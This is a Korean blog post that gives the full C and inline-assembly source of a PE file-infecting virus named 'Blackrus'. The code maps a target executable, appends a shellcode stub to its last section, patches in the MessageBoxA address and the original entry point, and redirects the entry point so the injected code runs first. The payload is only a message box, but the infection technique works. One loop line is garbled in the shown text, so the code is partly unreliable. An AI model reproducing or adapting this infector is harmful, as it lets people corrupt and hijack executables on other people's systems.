티스토리 툴바

PE File Infection Virus - Blackrus (1)

Posted 2011/05/26 14:53 by blackrus
PE 파일의 OptionalHeader에 AddressOfEntryPoint를 이용한 방식입니다.

간단한 흐름을 설명하자면
원래의 감염체가 피감염체에 자신의 코드 일부분을 복제하여 삽입합니다.

현재 기능으로는 단순 메세지박스를 출력하는 범위로 심플합니다.

먼저 전체 코드를 보여드리고 자세한 설명은 다음에 하도록하겠습니다.

#include 
#include 

#define szLine(x) __asm _emit x

#define TARGET_FILE_NAME "c:\\PEview.exe"

void FreeData(HANDLE hFile, HANDLE hFileMap)
{
	CloseHandle(hFile);
	CloseHandle(hFileMap);
}

void FreeData(HANDLE hFile)
{
	CloseHandle(hFile);
}


#include "blackrus.h"

__declspec(naked) void StartInfeCode()
{
	__asm
	{
		pushad
		call InfectionCode
		InfectionCode:	
		pop ebp
		sub ebp, offset InfectionCode
 
		push MB_OK
		lea  eax, [ebp+szTitle]
		push eax
		lea  eax, [ebp+szText]
		push eax
		push 0
		mov  eax, 0xAAAAAAAA
		call eax
 
		popad
		push 0xAAAAAAAA
		retn
 
		szText:
			szLine('b') szLine('l') szLine('a') szLine('c') szLine('k') szLine('r') szLine('u') szLine('s')
			szLine(' ')
			szLine('b') szLine('y') szLine(' ')
			szLine('k') szLine('i') szLine('m')
			szLine(' ')
			szLine('d') szLine('a') szLine('e')
			szLine(' ')
			szLine('i') szLine('n')
			szLine(0)
		szTitle:
			szLine('I') szLine('n') szLine('f') szLine('e') szLine('c') szLine('t') szLine('i') szLine('o') szLine('n')
			szLine(0)
 
	}
}
void EndInfeCode(){}

int InfectionMain()
{
	PIMAGE_DOS_HEADER pDosh;
	PIMAGE_NT_HEADERS pNth;
	PIMAGE_SECTION_HEADER pSech;

	HANDLE hFile;
	HANDLE hFileMap;

	HMODULE hMod;

	DWORD Size;

	DWORD oep;
	DWORD NewEp;

	DWORD CopyAddr;
	DWORD CodeStart;
	DWORD CodeEnd;
	DWORD CodeLen;

	DWORD CodeCallLine=0;
	DWORD CodeReturnLine=0;

	LPBYTE Base;

	int i;
	int max;
	int flag;

	unsigned char* buf;

	flag = 0;

	CodeStart = (DWORD)StartInfeCode;
	CodeEnd = (DWORD)EndInfeCode;
	CodeLen = CodeEnd - CodeStart;

	//printf("%x",CodeLen);

	hFile = CreateFile(TARGET_FILE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if(INVALID_HANDLE_VALUE == hFile)
	{
		printf(":P, CreateFile\n");
		FreeData(hFile);
		return -1;
	}

	Size = GetFileSize(hFile,0);
	if(NULL == Size)
	{
		printf(":P, GetFileSize\n");
		FreeData(hFile);
		return -2;
	}

	hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, Size+CodeLen, NULL);
	if(NULL == hFileMap)
	{
		printf(":P, CreateFileMapping\n");
		FreeData(hFile,hFileMap);
		return -3;
	}

	Base = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, Size+CodeLen);
	if(NULL == Base)
	{
		printf(":P, MapViewOfFile\n");
		FreeData(hFile,hFileMap);
		return -4;
	}

	pDosh = (PIMAGE_DOS_HEADER)Base;
	if(IMAGE_DOS_SIGNATURE != pDosh->e_magic)
	{
		printf(":P, Dosh\n");
		FreeData(hFile,hFileMap);
		return -5;
	}

	pNth = (PIMAGE_NT_HEADERS)((DWORD)Base + pDosh->e_lfanew);
	if(IMAGE_NT_SIGNATURE != pNth->Signature)
	{
		printf(":P, Nth\n");
		FreeData(hFile,hFileMap);
		return -6;
	}

	pSech = (PIMAGE_SECTION_HEADER)((DWORD)Base + pDosh->e_lfanew + sizeof(IMAGE_NT_HEADERS));
	max = (int)pNth->FileHeader.NumberOfSections;

	for(i=1;iOptionalHeader.AddressOfEntryPoint;
	
	CopyAddr = pSech->PointerToRawData+pSech->SizeOfRawData;
	
	NewEp = CopyAddr;
	NewEp -= pSech->PointerToRawData;
	NewEp = pNth->OptionalHeader.ImageBase+pSech->VirtualAddress + pSech->SizeOfRawData;

	
	buf = (unsigned char*)malloc(CodeLen+1);

	memcpy(buf,StartInfeCode,CodeLen);

	for(i=0;i <= CodeLen;i++)
	{
		if(0xAA == buf[i])
		{
			flag++;
			if(4 == flag && 0 == CodeCallLine)
			{
				CodeCallLine = i - 3;
			}
			else if(4 == flag && 0 == CodeReturnLine)
			{
				CodeReturnLine = i - 3;
			}
		}
		else
		{
			flag = 0;
		}
	}

	hMod = LoadLibrary("User32.dll");
	if(!hMod)
	{
		printf(":P, LoadLibrary");
		return -7;
	}
	
	*(unsigned long*)(buf + CodeReturnLine) = oep + pNth->OptionalHeader.ImageBase;
	*(unsigned long*)(buf + CodeCallLine) = ((DWORD)GetProcAddress(hMod,"MessageBoxA"));
	FreeLibrary(hMod);

	memcpy((LPBYTE)Base+CopyAddr, buf, CodeLen);

	pNth->OptionalHeader.AddressOfEntryPoint = NewEp-pNth->OptionalHeader.ImageBase;
	
	pSech->SizeOfRawData += CodeLen;
	pSech->Misc.VirtualSize += CodeLen;
	pSech->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

	free(buf);

	return 0;
}

int main()
{
	if(0 != InfectionMain())
	{
		printf(":P, InfectionMain\n");
		return -1;
	}

	return 0;
}


*ps. 135번째 줄 출력이 이상하네요.
저작자 표시 비영리 동일 조건 변경 허락

'Blackrus' 카테고리의 다른 글

PE File Infection Virus - Blackrus (1)  (0) 2011/05/26